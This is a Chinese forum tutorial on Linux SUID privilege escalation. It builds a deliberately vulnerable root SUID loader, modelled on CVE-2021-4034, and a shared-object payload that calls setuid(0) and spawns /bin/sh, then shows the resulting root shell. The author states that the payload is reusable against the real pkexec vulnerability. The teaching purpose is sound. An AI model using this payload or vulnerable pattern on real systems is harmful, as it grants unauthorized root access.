首页
社区
课程
招聘
[原创]原理+代码实战:SUID提权渗透
2022-2-22 09:06 6845

[原创]原理+代码实战:SUID提权渗透

2022-2-22 09:06
6845

本文会按照下面主题进行分享:

  • 再谈SUID权限
  • 实战SUID提权
    • 编写模拟SUID漏洞程序
    • 编写提权so
    • 提权

0x1 SUID权限

0x11 查看

查看程序是否具有SUID权限,使用<font color=blue size=3>ll</font>命令即可。

1
2
xjp@xxx:~$ ll /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jul 15  2021 /usr/bin/passwd*

第一列中,-rwsr 中的s,即代表passwd程序拥有SUID权限。


0x12 添加、删除SUID权限

添加SUID权限:chmod u+s 文件
删除SUID权限:chmod u-s 文件

 

修改时要使用文件的属主的用户去修改,不然会报错。

1
2
3
4
5
6
$ whoami
xxx
$ ls -l out
-rwxr-xr-x 1 xjp xjp 40760 Feb 19 22:40 out
$ chmod u+s out
chmod: changing permissions of 'out': Operation not permitted

0x2 实战SUID提权

这一章,我们来代码实操一下SUID提权。

 

第一步,我们写一个程序,通过参数来加载指定的so,然后再增加SUID权限,来模拟CVE-2021-4034可以加载任意so的程序。因为我们主要是学习漏洞程序的利用,如果过多篇幅讲解漏洞的原因,不利于理解漏洞。

 

第二步,我们写一个漏洞利用的so,让SUID程序来加载,实现提权。这个so可以在CVE-2021-4034真实漏洞中重复利用。


第一步:编写SUID漏洞程序

本程序通过参数传入so路径和函数名,然后加载指定so,执行指定函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <dlfcn.h>
 
int main(int argc, char *argv[])
{
    // 1、加载so
    auto so_path = argv[1];
    printf("so_path=%s\n", so_path);
    void *so = dlopen(so_path, RTLD_NOW);
 
    ////////////////////////////////
    // 2、执行函数
    typedef void (*gconv_init_t)(void *);
 
    auto func_name = argv[2];
    printf("func_name=%s\n", func_name);
    gconv_init_t func = (gconv_init_t)dlsym(so,func_name);
 
    func(nullptr);
    return 0;
}

然后,我们编译一下,添加SUID权限,并确保属主是root。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# whoami
root
# sh build.sh
 
# ls -l
total 48
-rw-r--r-- 1 xjp  xjp     40 Feb  9 19:06 build.sh
-rwxr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 xjp  xjp    712 Feb 19 23:45 xxx.cpp
 
# chmod u+s out
 
# ls -l
total 48
-rw-r--r-- 1 xjp  xjp     40 Feb  9 19:06 build.sh
-rwsr-xr-x 1 root root 40760 Feb 19 23:50 out
-rw-r--r-- 1 xjp  xjp    712 Feb 19 23:45 xxx.cpp

第二步:编写提权so

写一个so,来实现提权。在so里提权,并启动一个shell进程。
当SUID漏洞进程运行加载so时,此时实际UID为xjp(非root用户),有效ID为root。

 

当提权so被SUID进程加载时,实际UID为xjp,有效UID为root。若此时直接启动shell,shell的实际UID从父进程集成,也为xjp,因为shell不是SUID程序,所以有效UID=实际UID=xjp。

 

要想提权,我们需要把实际UID变为root,我们可以调用setuid实现。

 

<font color=gray size=2>

#include <sys/types.h>
#include <unistd.h>
int setuid(uid_t uid);
If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID's are set to uid. After this has occurred, it is impossible for the program to regain root privileges.
</font>

 

so核心提权代码如下:

1
2
3
4
5
6
7
8
9
10
void gconv_init(void *step)
{
    // 设置实际UID、有效UID
    auto r1 = setuid(0);
    // 启动shell
    char * const args[] = { "/bin/sh", NULL };
    char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
    execve(args[0], args, environ);
    exit(0);
}

第三步:提权

准备好以后,提权的操作就是让SUID漏洞程序加载我们的so即可,我们模拟的SUID漏洞程序很简单,直接参数传递so的路径和调用的函数即可。

1
2
3
4
5
6
7
8
9
10
11
12
xjp@xxx:~/code/case/case24_test_SUID/load_so$ whoami
xjp
 
xjp@xxx:~/code/case/case24_test_SUID/load_so$ ./load_so ../so/suid.so  gconv_init
so_path=../so/suid.so
func_name=gconv_init
ruid=1000,euid=0,suid=0
ruid=0,euid=0,suid=0
r1=0,r2=0
 
# whoami
root

真实的提权操作就是找到系统现有的SUID程序,千方百计寻找漏洞使其加载我们的so。下一篇我们来讲一下如何利用真实漏洞CVE-2021-4034加载任意so,实现提权。

 

欢迎大家用常用聊天软件关注,后台回复suid可获得本文代码。


[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回